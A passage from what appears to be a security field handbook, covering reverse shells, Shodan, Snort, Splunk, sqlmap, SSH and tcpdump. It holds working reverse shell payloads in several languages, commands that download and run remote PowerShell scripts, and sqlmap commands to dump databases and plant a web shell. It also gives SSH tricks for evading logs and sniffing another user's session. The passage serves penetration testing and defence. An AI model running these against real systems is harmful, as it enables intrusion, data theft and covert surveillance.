user@attack$ ncat --ssl -vv -l -p 4242
273
VICTIM:
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl
s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
POWERSHELL
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object
System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =
$sendback + "PS " + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendby
te,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object
-TypeName System.Text.ASCIIEncoding).GetString($bytes,0,
$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =
$sendback + 'PS ' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendby
te,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
powershell IEX (New-Object
Net.WebClient).DownloadString('https://gist.githubusercontent.com/s
taaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50
895ecf9ab9dafe253ad4/mini-reverse.ps1')
JAVA
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/4242;cat
<&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Java Alt1
String host="127.0.0.1";
int port=4444;
String cmd="cmd.exe";
Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());while(pe.available()>0)s
274
o.write(pe.read());while(si.available()>0)po.write(si.read());so.fl
ush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch
(Exception e){}};p.destroy();s.close();
Java Alternative 2
Thread thread = new Thread(){
public void run(){
// Reverse shell here
}
}
thread.start();
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f
war > reverse.war
strings reverse.war | grep jsp # in order to get the name of the
file
LUA
**Linux ONLY
lua -e
"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1
','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
Windows & Linux
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket =
require("socket") local tcp = socket.tcp() local io = require("io")
tcp:connect(host, port); while true do local cmd, status, partial =
tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a")
f:close() tcp:send(s) if status == "closed" then break end end
tcp:close()'
NodeJS
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "10.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
or
275
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
GROOVY
String host="10.0.0.1";
int port=4242;
String cmd="cmd.exe";
Process p=new
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);InputStream
pi=p.getInputStream(),pe=p.getErrorStream(),
si=s.getInputStream();OutputStream
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());while(pe.available()>0)s
o.write(pe.read());while(si.available()>0)po.write(si.read());so.fl
ush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch
(Exception e){}};p.destroy();s.close();
Groovy Alt1
Thread.start {
// Reverse shell here
}
SPAWN INTERPRETER TTY SHELL
/bin/sh -i
python3 -c 'import pty; pty.spawn("/bin/sh")'
python3 -c "__import__('pty').spawn('/bin/bash')"
python3 -c "__import__('subprocess').call(['/bin/bash'])"
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
perl -e 'print `/bin/bash`'
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
vi: :!bash
vi: :set shell=/bin/bash:shell
nmap: !sh
mysql: ! bash
INTERACTIVE REVERSE SHELL WINDOWS
276
**Pseudo Console (ConPty) in Windows ConPtyShell uses the function
CreatePseudoConsole(). This function is available since Windows 10
/ Windows Server 2019 version 1809 (build 10.0.17763).
Server Side:
stty raw -echo; (stty size; cat) | nc -lvnp 3001
Client Side:
IEX(IWR
https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/In
voke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2
3001
REFERENCE:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology
%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://highon.coffee/blog/reverse-shell-cheat-sheet/
S
S
S
SHODAN
RED/BLUE TEAM
RECON/ASSET DISCOV
ALL
SHODAN CLI
To install Shodan CLI:
# easy_install shodan
Or upgrade existing Shodan Python library:
# easy_install -U shodan
277
Once installed initialize the environment with your API key using
shodan init:
# shodan init YOUR_API_KEY
*Get your API key from your Shodan account page
Display Shodan query and scan credits available:
# shodan info
Show your external IP:
# shodan myip
Show information about an IP:
# shodan host <IPAddress>
Show the count of results for a search:
# shodan count <search string>
# shodan count WebBox
Show statistical information about a service:
# shodan stats --facets <facet> <string> country:<##>
# shodan stats --facets http.component apache country:CN
Search banner information for text string and display IP, port,
organization, and hostnames:
# shodan search --fields ip_str,port,org,hostnames <string> | tee
search_results.txt
Search a specific country banner information for text string and
display IP, port, organization, and hostnames:
# shodan search --fields ip_str,port,org,hostnames <string>
country:<##>| tee search_results.txt
Download lets you send JSON results into a file:
# shodan download <outfile> <search query>
# shodan download Microsoft-data Microsoft iis 6.0
Shodan network scanning request:
# shodan scan submit --filename scan_results.txt <IPAddress or
CIDR>
Stream live Shodan scanning results:
# shodan stream --datadir /dir/path/results
# shodan stream --ports 80,443,3389
Real-Time network alert streaming/monitoring:
# shodan alert create “Scan results” <IP/CIDR>
Successful created network alert!
278
Alert ID: 6F2SCAZ6WV3CIAKE
# shodan stream --alert=<Alert ID> --datadir=scan-results/
Scan the entire internet *Enterprise license
# shodan scan internet <port> <protocol>
Query & display subdomains, records, IP, and ports
# shodan domain example.com -D
SHODAN WEB UI (shodan.io)
Shodan IP address search:
> 185.30.20.1
> 185.30.20.1/24
Shodan filter search results 'filter:value':
> city:"Istanbul" port:23,3389
**Filters:
category = ics, malware, etc… ; category:ics
city = city name; city:beijing
country = country name; country:china
hostname = find matching device hostname; server:”gws”
hostname:”google”
net = show results only in cidr range; net:185.30.20.0/24
org = narrow based on organization; org:”AT&T”
port = service port; port=23,22,3389
product = service running; product=openssh
geo = geo coordinates; geo:”56.7492,118.2640”
os = operating system; os:”windows 10”
before/after = devices in time range; apache after:21/01/2019
before:14/02/2019
Find websites that are clones by searching in the “Raw Data View”
in a result & searching for the “data.0.http.html_hash” value. Then
search for that value:
> hash:-1604454775
Raw Data Facets: https://beta.shodan.io/search/filters
REFERENCE:
https://cli.shodan.io/
https://beta.shodan.io/search/filters
https://github.com/jakejarvis/awesome-shodan-queries/blob/master/readme.md
S
S
SNORT
BLUE TEAM
THREAT HUNT/DETECT
ALL
279
Snort is an open-source, free and lightweight network intrusion
detection system.
BASIC SNORT RULE HEADER OUTLINE
[action][protocol][sourceIP][sourcePORT]->[destIP][destPORT]([Rule Options])
EXAMPLE SNORT RULE
RULE HEADER
alert tcp $EXTERNAL_NET $HTTP_PORTS - > $HOME_NET any
MESSAGE
msg: "BROWSER-IE Microsoft Internet Explorer CacheSize
exploit attempt";
FLOW
flow: to_client,established;
DETECTION
file_data;
content:"recordset"; offset:14; depth:9;
content:".CacheSize"; distance:0; within:100;
pcre:"/CacheSize\s*=\s*/";
byte_test:10,>,0x3ffffffe,0,relative,string;
METADATA
policy max-detect-ips drop, service http;
REFERENCES
reference:cve,2016-8077;
CLASSIFICATION classtype: attempted-user;
SIGNATUREid
sid:65535;rev:1;
REFERENCE:
https://snort.org/documents
https://snort-org-
site.s3.amazonaws.com/production/document_files/files/000/000/116/original/
Snort_rule_infographic.pdf
S
S
SPLUNK
BLUE TEAM
THREAT HUNT/DETECT
ALL
Splunk is a software platform to search, analyze and visualize the
machine-generated data gathered from the websites, applications,
sensors, devices etc. which make up IT infrastructure.
ADD FIELDS
Extract data from events
into fields so that you can
analyze and run reports on
it in a meaningful way.
* | extract reload=true
Extract field/value pairs
and reload field extraction
settings from disk.
* | extract pairdelim="|;",
kvdelim="=:", auto=f
Extract field/value pairs
that are delimited by "|;",
and values of fields that
are delimited by "=:".
* | multikv fields COMMAND filter
splunkd
Extract the COMMAND field
when it occurs in rows that
contain "splunkd".
280
* | xmlkv
Automatically extracts
fields from XML-formatted
data.
* | rex field=_raw "From:
(?<from>.*) To: (?<to>.*)"
Extract "from" and "to"
fields using regular
expressions. If a raw event
contains "From: Susan To:
Bob", then from=Susan and
to=Bob.
* | strcat sourceIP "/" destIP
comboIP
Add the field: comboIP.
Values of comboIP =
"sourceIP + "/" + destIP".
* | eval velocity=distance/time
Add the field: velocity.
Values of velocity =
distance field value / time
field value (using an SQLite
evaluation).
404 host=webserver1 | head 20 |
iplocation
Add location information
(based on IP address) to the
first twenty events that
contain "404" and are from
from webserver1.
CONVERT FIELDS
Change the names of fields,
the units of values stored
in fields, the types of
data stored in fields, or
the attributes of fields.
* | convert auto(*) none(foo)
Convert every field value to
a number value except for
values in the field "foo"
(use the {{none}} argument
to specify fields to
ignore).
* | convert memk(virt)
Change all memory values in
the virt field to Kilobytes.
* | convert dur2sec(delay)
Change the sendmail syslog
duration format (D+HH:MM:SS)
to seconds. For example, if
delay="00:10:15", the
resulting value will be
delay="615".
* | convert rmunit(duration)}}
Convert values of the
duration field into number
value by removing string
values in the field value.
For example, if
duration="212 sec", the
resulting value will be
duration="212".
281
* | rename _ip as IPAddress
Rename the _ip field as
IPAddress.
* | replace *localhost with
localhost in host
Change any host value that
ends with "localhost" to
"localhost".
FILTER AND ORDER FIELDS
Filter and re-arrange how
Splunk displays fields
within search results.
* | fields host, ip
Keep only the host and ip
fields, and display them in
the order: host, ip.
* | fields + host, ip
Keep only the host and ip
fields, and remove all
internal fields (for
example, _time, _raw, etc.)
that may cause problems in
Splunk Web.
* | fields - host, ip
Remove the host and ip
fields.
FILTER RESULTS
Filter search result sets by
removing duplicate events,
using regular expressions,
or by searching within a
result set.
* | search src="10.9.165.*" OR
dst="10.9.165.8"
Keep only search results
that have matching src or
dst values.
* | regex
_raw=(?<!\d)10.\d{1,3}\.\d{1,3}\.\
d{1,3}(?!\d
Keep only search results
whose _raw field contains IP
addresses in the non-
routable class A
(10.0.0.0/8).
* | dedup host
Remove duplicates of results
with the same host value.
* Fatal | rex "(?i) msg=(?P[^,]+)"
rex is for extracting a
pattern and storing it as a
new field.
* | regex _raw=".*Fatal.*"
regex is like grep and can
use regular expressions
against output results..
ORDER RESULTS
Sort, re-order, or return a
portion of a search result
set.
* | sort ip, -url
Sort results by ip value in
ascending order and then by
url value in descending
order.
* | reverse
Reverse the order of a
result set.
* | head 20
Return the first 20 results.
282
* | tail 20
Return the last 20 results
(in reverse order).
* | head 1000 | top 50 method
Return first 1000 lines of
log file and order top 50
results.
GROUP RESULTS
Group search results into a
transaction (a single
observation of any event
stretching over multiple
logged events) based on
related pieces of
information, or group
results by statistical
correlation.
* | transaction
fields="host,cookie" maxspan=30s
maxpause=5s
Group search results that
have the same host and
cookie, occur within 30
seconds of each other, and
do not have a pause greater
than 5 seconds between each
event into a transaction.
* | transaction fields=from
maxspan=30s maxpause=5s
Group search results that
share the same value of
from, with a maximum span of
30 seconds, and a pause
between events no greater
than 5 seconds into a
transaction.
* | kmeans k=4 date_hour
date_minute
Group search results into 4
clusters based on the values
of the date_hour and
date_minute fields.
* | cluster t=0.9 showcount=true |
sort -cluster_count | head 20}}||
Cluster events together,
sort them by their
cluster_count values, and
then return the 20 largest
CLASSIFY EVENTS
Classify events as a type
(event type), or have Splunk
automatically classify
events.
* | typer
Force Splunk to apply event
types that you have
configured (Splunk Web
automatically does this when
you view the eventtype
field).
error | typelearner
Have Splunk automatically
discover and apply event
types to events that contain
the string "error".
283
CHANGE DISPLAY FORMATTING
Generate search results from
your data using commands
other than search. You must
use a pipe ( | ) before any
data-generating command that
isn't the search command.
| inputcsv all.csv | search error
| outputcsv errors.csv
Read in results from the CSV
file:
$SPLUNK_HOME/var/run/splunk/
all.csv, keep any that
contain the file:
$SPLUNK_HOME/var/run/splunk/
error.csv
| file /var/log/messages.1
Display events from the file
messages.1 as if the events
were indexed in Splunk.
| savedsearch mysecurityquery AND
_count > 0 or | sendemail
[email protected]
Run the mysecurityquery
saved search, and email any
results to [email protected].
REPORTING
Summarize the results of any
search as a report by
performing statistical
operations, and graphing
functions.
* | rare url
Return the least common
values of the url field.
* | top limit=20 url
Return the 20 most common
values of the url field.
* | stats dc(host)
Remove duplicates of results
with the same host value and
return the total count of
the remaining results.
* | stats avg(*lay) BY date_hour
Return the average for each
hour, of any unique field
that ends with the string
"lay" (for example, delay,
xdelay, relay, etc).
sourcetype=access_combined | top
limit=100 referer_domain | stats
sum(count)
Search the access logs, and
return the number of hits
from the top 100 values of
referer_domain.
sourcetype=access_combined |
associate supcnt=3
Search the access logs, and
return the results
associated with each other
(that have at least 3
references to each other).
* | chart avg(size) by host
Return the average (mean)
size for each distinct host.
* | chart max(delay) by size
bins=10
Return the the maximum delay
by size, where size is
284
broken down into a maximum
of 10 equal sized buckets.
* | timechart span=5m avg(thruput)
by host
Graph the average thruput of
hosts over time.
* | timechart avg(cpu_seconds) by
host | outlier action=TR
Create a timechart of
average cpu_seconds by host,
and remove data (outlying
values) that may distort the
timechart's axis.
sourcetype=ps | multikv |
timechart span=1m avg(CPU) by host
Search for all ps events,
extract values, and
calculate the average value
of CPU each minute for each
host.
sourcetype=web | timechart count
by host | fillnull value=NULL
Create a timechart of the
count of from web sources by
host, and fill all null
values with "NULL".
* | contingency datafield1
datafield2 maxrows=5 maxcols=5
usetotal=F
Build a contingency table of
datafields from all events.
* | correlate type=cocur
Calculate the co-occurrence
correlation between all
fields.
* | addtotals fieldname=sum
Calculate the sums of the
numeric fields of each
result, and put the sums in
the field sum.
* | anomalousvalue action=filter
pthresh=0.02
Return events with uncommon
values.
* | bucket size bins=10 | stats
count(_raw) by size
Bucket search results into
10 bins, and return the
count of raw events for each
bucket.
* | bucket _time span=5m | stats
avg(thruput) by=_time host
Return the average thruput
of each host for each 5
minute time span.
* | stats sum(<field>) as result |
eval result=(result/1000)
Sum up a field and do some
arithmetics:
* | eval raw_len=len(_raw) | stats
avg(raw_len), p10(raw_len),
p90(raw_len) by sourcetype
Determine the size of log
events by checking len() of
_raw. The p10() and p90()
functions are returning the
10 and 90 percentiles:
* | correlate type=cocur
Calculate the co-occurrence
correlation between all
fields.
* | addtotals fieldname=sum
Calculate the sums of the
numeric fields of each
285
result, and put the sums in
the field sum.
sourcetype=ps | multikv |
timechart span=1m avg(CPU) by host
Search for all ps events,
extract values, and
calculate the average value
of CPU each sourcetype=ps |
multikv | timechart span=1m
avg(CPU) by hostminute for
each host.
ADMINISTRATIVE
Perform administration tasks
using search commands. Crawl
your servers to discover
more data to index, view
configuration settings, or
see audit information.
| crawl root="/;/Users/" | input
add
Crawl root and home
directories and add all
possible inputs found (adds
configuration information to
inputs.conf).
| admin props
View processing properties
stored in props.conf - time
zones, breaking characters,
etc.
index=audit | audit
View audit trail information
stored in the local audit
index. Also decrypt signed
audit events while checking
for gaps and tampering.
| eventcount summarize=false
index=* | dedup index | fields
index
List all Indices
| eventcount summarize=false
report_size=true index=* | eval
size_MB =
round(size_bytes/1024/1024,2)
List all Indices of a
certain size.
SUBSEARCH
Use subsearches to use
search results as an
argument to filter search
result sets with more
granularity.
* | set diff [search 404 | fields
url] [search 303 | fields url]
Return values of URL that
contain the string "404" or
"303" but not both.
login root | localize maxspan=5m
maxpause=5m | map search="search
failure
starttimeu=$starttime$ endtimeu=$e
ndtime$"
Search for events around
events associated with
"root" and "login", and then
search each of those time
ranges for "failure".
286
[* | fields + source, sourcetype,
host | format ]
Create a search string from
the values of the host,
source and sourcetype
fields.
EMAIL RESULTS
... | sendemail
to="[email protected]"
By appending "sendemail" to
any query you get the result
by mail!
Uncoder: One common language for cyber security
https://uncoder.io/
Uncoder.IO is the online translator for SIEM saved searches,
filters, queries, API requests, correlation and Sigma rules to help
SOC Analysts, Threat Hunters and SIEM Engineers. Easy, fast and
private UI you can translate the queries from one tool to another
without a need to access to SIEM environment and in a matter of
just few seconds.
Uncoder.IO supports rules based on Sigma, ArcSight, Azure Sentinel,
Elasticsearch, Graylog, Kibana, LogPoint, QRadar, Qualys, RSA
NetWitness, Regex Grep, Splunk, Sumo Logic, Windows Defender ATP,
Windows PowerShell, X-Pack Watcher.
REFERENCE:
https://gosplunk.com/
https://wiki.splunk.com/images/2/2b/Cheatsheet.pdf
S
S
SQLMAP
RED TEAM
EXPLOITATION
WEB/DATABASE
sqlmap is an open source penetration testing tool that automates
the process of detecting and exploiting SQL injection flaws and
taking over of database servers.
Simple mapping option
sqlmap -u "http://example.com/login.php"
Use TOR SOCKS5 Proxy
sqlmap -u "http://example.com/login.php" --tor --tor-type=SOCKS5
Manually set the return time
sqlmap -u "http://example.com/login.php" --time-sec 15
List all databases located at target site
sqlmap -u "http://example.com/login.php" --dbs
List all tables in a database:
287
sqlmap -u "http://example.com/login.php" -D site_db --tables
Use authentication cookie:
sqlmap -u "http://example.com/login.php" --data="id=1&str=val" -p
"pid" -b --cookie="cookie1=<cookie_value1>;cookie2=<cookie_value2>"
--random-agent --risk 3 --level 5
Use credentials to dump database table:
sqlmap -u "http://example.com/login.php" –method "POST" –data
"username=user&password=user&submit=Submit" -D database_name -T
users –dump
Dump only selected columns
sqlmap -u "http://example.com/login.php" -D site_db -T users -C
username,password --dump
List all columns in a table
sqlmap -u "http://example.com/login.php" -D database_name -T users
--columns
Dump database table content:
sqlmap -u "http://example.com/login.php" -D database_name -T users
–dump
Use SQLMap OS Shell:
sqlmap --dbms=mysql -u "http://example.com/login.php" --os-shell
Use SQLMap SQL Shell:
sqlmap --dbms=mysql -u "http://example.com/login.php" --sql-shell
Dump all
sqlmap -u http://example.com/Less-1/?id=1 -D database_name -T
table_name --dump-all
Checking Privileges
sqlmap -u http://example.com/Less-1/?id=1 --privileges | grep FILE
Reading file
sqlmap -u <URL> --file-read=<file to read>
sqlmap -u http://localhost/Less-1/?id=1 --file-read=/etc/passwd
Writing file
sqlmap -u <url> --file-write=<file> --file-dest=<path>
288
sqlmap -u http://example.com/Less-1/?id=1 --file-write=shell.php --
file-dest=/var/www/html/shell-php.php
POST
sqlmap -u <POST-URL> --data="<POST-paramters> "
sqlmap -u http://example.com/Less-11/ --data
"uname=teste&passwd=&submit=Submit" -p uname
You can also use a file like with the post request:
./sqlmap.py -r post-request.txt -p uname
Launch all tamper scripts at once:
sqlmap -u 'http://www.example.com:80/search.cmd?form_state=1’ --
level=5 --risk=3 -p 'item1' --
tamper=apostrophemask,apostrophenullencode,appendnullbyte,base64enc
ode,between,bluecoat,chardoubleencode,charencode,charunicodeencode,
concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnu
ll2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiples
paces,nonrecursivereplacement,percentage,randomcase,randomcomments,
securesphere,space2comment,space2dash,space2hash,space2morehash,spa
ce2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,spac
e2plus,space2randomblank,sp_password,unionalltounion,unmagicquotes,
versionedkeywords,versionedmorekeywords
REFERENCE:
https://github.com/coreb1t/awesome-pentest-cheat-
sheets/blob/master/docs/sqlmap-cheatsheet-1.0-SDB.pdf
https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-
bypass/423
S
S
SSH
ALL
ADMINISTRATION
WINDOWS/LINUX/MacOS
BASIC
COMMAND
DESCRIPTION
sshpass -p '<your-passwd>' ssh
<username>@<ssh_host>, brew install
sshpass
ssh without input
password
apt-get install openssh, apt-get install
openssh-server
Install sshd server
service sshd restart, systemctl reload
sshd.service
Restart sshd server
ssh -o StrictHostKeyChecking=no -p 2702
[email protected] date
Run ssh command
289
ssh -vvv -p 2702 [email protected] date
2>&1
ssh with verbose
output
sshuttle -r [email protected] 30.0.0.0/16
192.168.150.0/24 -e ...
Setup ssh tunnel for
your web browsing
ssh-copy-id <username>@<ssh_host>, Or
manually update ~/.ssh/authorized_keys
SSH passwordless login
ssh-keygen -f ~/.ssh/known_hosts -R
github.com
Remove an entry from
known_hosts file
diff local_file.txt <(ssh
<username>@<ssh_host> 'cat
remote_file.txt')
Diff local file with
remote one
diff <(ssh user@remote_host 'cat
file1.txt') <(ssh user2@remote_host2
'cat file2.txt')
Diff two remote ssh
files
scp -rp /tmp/abc/ ec2-user@<ssh-
host>:/root/
Upload with
timestamps/permissions
kept
exec ssh-agent bash && ssh-add
/tmp/id_rsa, ssh-add
SSH agent load key
ssh-add -l
SSH list all loaded
key
exec ssh-agent bash && ssh-keygen, ssh-
add
SSH agent create and
load key
emacs
/ssh:<username>@<ssh_host>:/path/to/file
Emacs read remote file
with tramp
ssh-keygen, ssh-keygen -C
"[email protected]" -t rsa
Generate a new key
pair
ssh-keygen -t rsa -f /tmp/sshkey -N "" -
q
Generate key pair
without interaction
ADVANCED
ssh-keygen -p -f id_rsa
Add passphrase
protection to ssh
keyfile
ssh -o IdentitiesOnly=yes -i id1.key
[email protected]
configure SSH to avoid
trying all identity
files
ssh-keygen -f my_ssh.pub -i
Convert OpenSSL format
to SSH-RSA format
~/.ssh/authorized_keys, ~/.ssh/config,
~/.ssh/known_hosts
Critical ssh
files/folders
/etc/ssh/ssh_config,
/etc/ssh/sshd_config
SSH config file
chmod 600 ~/.ssh/id_rsa
SSH key file
permission
chmod 700 ~/.ssh, chown -R $USER:$USER
~/.ssh
SSH folder permission
chmod 644 ~/.ssh/authorized_keys
Authorized_keys file
permission
ssh -o LogLevel=error
Mute Warning:
Permanently added
290
TUNNELING/PROXY
ssh -N -i <ssh-keyfile> -f
[email protected] -L
*:18085:localhost:8085 -n /bin/bash
SSH port forward to a
local port
ssh -o UserKnownHostsFile=/dev/null -T
[email protected] "bash -i"
No logs created in
/var/log/utmp or bash
profiles
ssh -g -L31337:1.2.3.4:80 [email protected]
SSH Tunnel OUT
ssh -o ExitOnForwardFailure=yes -g -
R31338:192.168.0.5:80 [email protected]
SSH Tunnel IN
ssh -g -R 1080 [email protected]
SSH socks4/5 IN,
access local network
through proxy
ssh -D 1080 [email protected]
SSH socks4/5 OUT,
revserse dynamic
forwarding
ssh -R *:40099:localhost:22
[email protected], ssh -p 40099
[email protected]
Reverse port forward
to remote server
sshuttle -r [email protected] 30.0.0.0/16
192.168.111.0/24 192.168.150.0/24
192.167.0.0/24
Setup SSH tunnel for
your web browsing
SECURITY
sed -i 's/PasswordAuthentication
yes/PasswordAuthentication no/g'
/etc/ssh/sshd_config
Disable SSH by
password
sed -i 's/^PermitRootLogin
yes/#PermitRootLogin yes/'
/etc/ssh/sshd_config
Disable root login
StrictHostKeyChecking yes change
~/.ssh/config
Enable/Disable SSH
Host Key Checking
fail2ban command line tool
Protect SSH server
from brute force
attacks
SCP
scp -r ec2-user@<ssh-
host>:/home/letsencrypt-20180825 ./
Download a remote
folder
scp -i <ssh-keyfile> /tmp/hosts ec2-
user@<ssh-host>:/root/
Upload a file
scp -r /tmp/abc/ ec2-user@<ssh-
host>:/root/
Upload a folder
scp -rp /tmp/abc/ ec2-user@<ssh-
host>:/root/
Upload with
timestamps/permissions
kept
sshfs name@server:/path/remote_folder
/path/local_folder
Mount remote directory
as local folder
SSH LOGS
grep -R "ssh.*Received signal 15"
/var/log/auth.log
Events of SSH down
291
grep -R "sshd.*Server listening"
/var/log/auth.log
Events of SSH up
grep -R "sshd.*Failed password for
invalid user" /var/log/auth.log
Events of SSH failed
login
grep -R "sshd.*POSSIBLE BREAK-IN
ATTEMPT!" /var/log/auth.log
Events of SSH break-in
attempt
grep -R "sshd.*Bad protocol version
identification" /var/log/auth.log
Events of SSH port
scap
grep -R "sshd.*Accepted publickey for"
/var/log/auth.log
Events of SSH login by
public key
grep -R "sshd.*Accepted password for"
/var/log/auth.log
Events of ssh login by
password
grep -R "sshd.*pam_unix(sshd:session):
session closed for" /var/log/auth.log
Events of ssh logout
event
SSH TOOLS
ngrok.com
Export local env to
Internet
sshuttle
Reverse ssh proxy
sshpass sshpass -p “$PASSWORD” ssh -o
StrictHostKeyChecking=no
$username@$ssh_ip=
SSH by auto input
password
Almost invisible SSH
# ssh -o UserKnownHostsFile=/dev/null -T [email protected] "bash -i"
This will not add your user to the /var/log/utmp file and you won't
show up in w or who command of logged in users. It will
bypass .profile and .bash_profile as well. On your client side it
will stop logging the host name to ~/.ssh/known_hosts.
SSH tunnel OUT
We use this all the time to circumvent local firewalls and IP
filtering:
$ ssh -g -L31337:1.2.3.4:80 [email protected]
You or anyone else can now connect to your computer on port 31337
and get tunneled to 1.2.3.4 port 80 and appear with the source IP
of 'host.org'.
SSH tunnel IN
We use this to give access to a friend to an internal machine that
is not on the public Internet:
$ ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80
[email protected]
Anyone connecting to host.org:31338 will get tunneled to
192.168.0.5 on port 80 via your computer.
292
VPN over SSH
Tunnel layer 3 network traffic via an established ssh channel.
Allows perform SYN-scan with nmap and use your tools directly. Need
root on both sides to create a tun devices. These lines should be
present in your /etc/ssh/sshd_config file (server-side):
PermitRootLogin yes
PermitTunnel yes
Create a pair of tun devices on client and server:
ssh username@server -w any:any
Configuring client-side interface:
ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0
Configuring server-side interface:
ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0
Enable ip forwarding and NAT on the server:
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
Now you can make the peer host 1.1.1.1 your default gateway or
route a specific host/network through it:
route add -net 10.0.0.0/16 gw 1.1.1.1
**This example the server’s external network interface is eth0 and
the newly created tun devices on both sides are tun0.
SSH socks4/5 OUT
Reverse dynamic forwarding. Tunnel all your browser traffic through
your server use SOCKS with 127.0.0.1:1080. (OpenSSH 7.6+)
$ ssh -D 1080 [email protected]
SSH socks4/5 IN
Give team members access to your local network or let others use
your host as an end-point by them configuring host.org:1080 as
their SOCKS4/5 proxy.
$ ssh -g -R 1080 [email protected]
Sniff a user's SSH session
$ strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" |
grep '^read.*= [1-9]$' | cut -f2 -d\"; done
Non-root sniff a user's SSH session
If /proc/sys/kernel/yama/ptrace_scope is set to 1 then create a
wrapper script called 'ssh' that executes strace + ssh to log the
293
session. SSH session will be sniffed and logged to ~/.ssh/logs/ the
next time the user logs into his shell:
# Add a local path to the PATH variable so our 'ssh' is executed
instead of the real ssh:
$ echo '$PATH=~/.local/bin:$PATH' >>~/.profile
# Create a log directory and our own ssh binary
$ mkdir -p ~/.local/bin ~/.ssh/logs
$ cat >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@
# now press CTRL-d to close the file.
$ cat ~/.local/bin/ssh-log
#! /bin/bash
grep 'read(4' | cut -f2 -d\" | while read -r x; do
if [ ${#x} -ne 2 ] && [ ${#x} -ne 1 ]; then continue; fi
if [ x"${x}" == "x\\n" ] || [ x"${x}" == "x\\r" ]; then
echo ""
else
echo -n "${x}"
fi
done >~/.ssh/.logs/ssh-log-"${1}"-`date +%s`.txt
# now press CTRL-d to close the file
$ chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log
REFERENCE:
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet
https://github.com/dennyzhang/cheatsheet-ssh-A4
294
T
T
T
TCPDUMP
RED/BLUE TEAM
NETWORK TRAFFIC
LINUX/MacOS
BASIC SYNTAX
Match any traffic involving 192.168.1.1 as destination or source
# tcpdump -i eth1 host 192.168.1.1
Match particular source only
# tcpdump -i eth1 src host 192.168.1.1
Match particular destination only
# tcpdump -i eth1 dst host 192.168.1.1
Match any traffic involving port 25 as source or destination
# tcpdump -i eth1 port 25
Source port 25
# tcpdump -i eth1 src port 25
Destination port 25
# tcpdump -i eth1 dst port 25
Network filtering:
# tcpdump -i eth1 net 192.168
# tcpdump -i eth1 src net 192.168
295
# tcpdump -i eth1 dst net 192.168
Protocol filtering:
# tcpdump -i eth1 arp
# tcpdump -i eth1 ip
# tcpdump -i eth1 tcp
# tcpdump -i eth1 udp
# tcpdump -i eth1 icmp
Boolean Expressions :
Negation : ! or "not" (without the quotes)
Concatenate : && or "and"
Alternate : || or "or"
Match any TCP traffic on port 80 (web) with 192.168.1.254 or
192.168.1.200 as destination host
# tcpdump -i eth1 '((tcp) and (port 80) and ((dst host
